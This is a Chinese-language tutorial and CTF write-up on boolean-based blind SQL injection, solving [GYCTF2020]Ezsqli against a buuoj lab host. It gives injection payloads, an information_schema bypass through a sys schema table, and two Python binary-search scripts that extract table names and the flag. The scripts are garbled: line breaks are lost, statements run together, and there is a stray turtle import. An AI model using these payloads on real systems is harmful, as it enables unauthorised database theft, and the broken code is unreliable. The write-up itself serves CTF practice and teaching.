什么是布尔盲注
布尔盲注就是在注入过程中,页面只会返回false和true,不会去返回其它的信息,所以我们不能通过语句查询直接获得数据库的名字,而是通过逻辑获得数据库的信息
布尔盲注常使用函数
length() 返回字符串的长度,例如可以返回数据库名字的长度
substr() ⽤来截取字符串
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句
只要是盲注,都离不开这些函数
一些常见的payload
length(database())>a //a是可变参数,通过a的大小去获得数据库的长度
ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),i,1))>mid
#sys.x$schema_table_statistics_with_buffer是information_schema.tables的替代品,i和mid是可变参数,通过这个来获取表名
常见的绕过
information_schema.tables表的绕过用sys.x$schema_table_statistics_with_buffer绕过
具体可见Bypass information_schema与无列名注入_无列名注入information_schema平替-CSDN博客
这篇博客
例题
多说无益,以题见真章
[GYCTF2020]Ezsqli
打开题目就可以看到一个注入框,测试一下可以发现它有几种显示,如果是1就会显示Nu1L,如果是0就会显示Error Occured When Fetch Result.,其它的就不测了主要利用的就是这两个点,接下来就是测试如何使用;
测试之后发现有这几种方式可以使用
if(ascii(substr(database(),1,1))>32,1,2)0^(ascii(substr(database(),1,1))>32)(1 && (ascii(substr(database(),1,1))>32))
这几种可以记一下也是比较经常使用的,这道题使用第二种方式异或
先使用异或测试到数据库的长度是21
0^(length(database())=21)
爆数据库的名字payload
1&&substr(database(),1,1)='g'
以此为例写一个脚本,在这里就不写了
然后开始爆表
#buuctf web ezsqli
from turtle import right
import requests
import timeurl = "http://8be76b70-3e62-4ed2-bddb-9a1f96815747.node4.buuoj.cn:81/"
table_name = ""
i = 0while True:i = i + 1letf = 32right = 127while letf < right:mid = (letf+right) // 2payload = f"0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),{i},1))>{mid})"data = {"id":payload}res = requests.post(url=url,data=data).textif "Nu1L" in res:letf = mid + 1else:right = midif letf != 32:table_name += chr(letf)time.sleep(0.2)print(table_name)else:break
爆出表名f1ag_1s_h3r3_hhhhh,users233333333333333
爆flag用比较注入
0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'A'))
脚本
#buuctf web ezsqli
import requests
import timeurl = "http://8be76b70-3e62-4ed2-bddb-9a1f96815747.node4.buuoj.cn:81/"
flag = ""
i = 0while True:i = i + 1letf = 32right = 127while letf < right:s = flagmid = (letf+right) // 2s = s + chr(mid)payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"data = {"id":payload}res = requests.post(url=url,data=data).textif "Nu1L" in res:letf = mid + 1else:right = midif letf != 32:flag += chr(letf-1)print(flag)time.sleep(0.2)else:break
最后记得将爆出的flag换成小写就可以了
如果在发现布尔盲注的题会继续补充;